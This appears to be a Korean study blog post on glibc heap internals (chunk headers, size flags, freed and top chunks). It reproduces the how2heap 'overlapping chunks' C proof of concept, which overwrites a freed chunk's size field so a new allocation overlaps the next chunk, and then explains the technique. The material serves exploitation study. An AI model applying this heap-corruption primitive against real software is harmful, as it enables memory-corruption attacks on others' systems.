heap Chunk 란?
header 포함한 영역 + malloc()으로 할당 받는 영역
- header (prev_size + size)
- prev_size : 이전 청크의 크기로 크기가 128bit 이상인 chunk가 free될 때, 다음 청크 prev_size가 세팅
- fastbin을 free할 땐 항상 0으로 유지, PREV_INUSE bit가 0이 되어야만 세팅
- 근데 실제로 돌려보니까 최신 우분투 버전에서는 8bytes만 header로 저장한다.
- (prev_size, FD,BK에 대한 정보가 저장되지않음을 확인할 수 있다.)
- (prev_size, FD,BK에 대한 정보가 저장되지않음을 확인할 수 있다.)
- size : 현재 청크의 크기로 하위 3bit는 flag로 쓰인다.
- PREV_INUSE(0x1) : 이전 chunk가 사용중 또는 fastbin일 때 설정되는 플래그
- IS_MMAPPED(0x2) : mmap() 함수로 할당된 chunk일 때 설정되는 플래그
- NON_MAIN_ARENA(0x4) : 멀티 쓰레드 환경에서 main이 아닐 때 생성되는 플래그
- prev_size : 이전 청크의 크기로 크기가 128bit 이상인 chunk가 free될 때, 다음 청크 prev_size가 세팅
힙 영역은 무조건 32bit에선 8byte단위, 64bit에선 16byte 단위로 할당
8과 16의 배수를 2진수로 변경하면 하위3bit는 사용을 안하니, flag로 사용한다.
- data
- 32bit에서는 8byte의 배수로 할당
- 64bit에서는 16byte의 배수로 할당
- ex) malloc(1) -> Data영역이 총 16bytes 만큼 할당이된다.

따라서, 크기를 재 할당할 때 크기부분에 1을 추가해야한다.
Allocated Chunk
사용 중인 청크
prev_size + size + data
Freed Chunk
free된 청크
prev_size + size + data(FD + BK + ..)
- FD : 다음 청크 가리키는 포인터
- BK : 이전 청크 가리키는 포인터
Top Chunk
힙 영역의 마지막에 위치하는 할당되지 않은 영역
재사용 가능한 chunk가 없을 때 할당요청이 들어오면 해당 부분을 분리하여 반환해준다.
top chunk와 인접한 청크가 free되면 병합된다.

/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
int main(int argc , char* argv[])
{
setbuf(stdout, NULL);
long *p1,*p2,*p3,*p4;
printf("\nThis is another simple chunks overlapping problem\n");
printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
"and the prev_size of it must match the unsortedbin's size\n"
"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");
printf("Let's start to allocate 4 chunks on the heap\n");
p1 = malloc(0x80 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);
memset(p1, '1', 0x80 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);
printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);
/* VULNERABILITY */
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
/* VULNERABILITY */
printf("\nNow let's free the chunk p2\n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
printf("\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
printf("This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);
printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
printf("p4 should overlap with p3, in this case p4 includes all p3.\n");
printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
printf("Let's run through an example. Right now, we have:\n");
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
assert(strstr((char *)p4, (char *)p3));
}

64bit이므로 malloc(0x78)을 할당하면, header부분 8byte를 포함하여 80 size의 청크가 할당된다.
81인 이유는 하위 3bit에 flag값이 들어가기 때문에 flag 1을 설정해줬다는 것을 의미한다!
위와같이 p2에서 -1위치에 존재하는 [원하는size]+1 로 바꿔주면, 컴퓨터는 해당 청크의 크기를 [원하는size]로 인식하게된다.

p2부분을 free하여 freed chunk로 만들어주고, 정확히 기존 크기(header 크기제외하고.. 어차피 알아서 +8 해줌)만큼 malloc을 하게되면, 같은위치에 chunk를 할당하게 되고 p3부분까지 덮을 수 있게 된다.
'Pwn > how2heap' 카테고리의 다른 글
| [how2heap] tcache poisoning (0) | 2025.07.02 |
|---|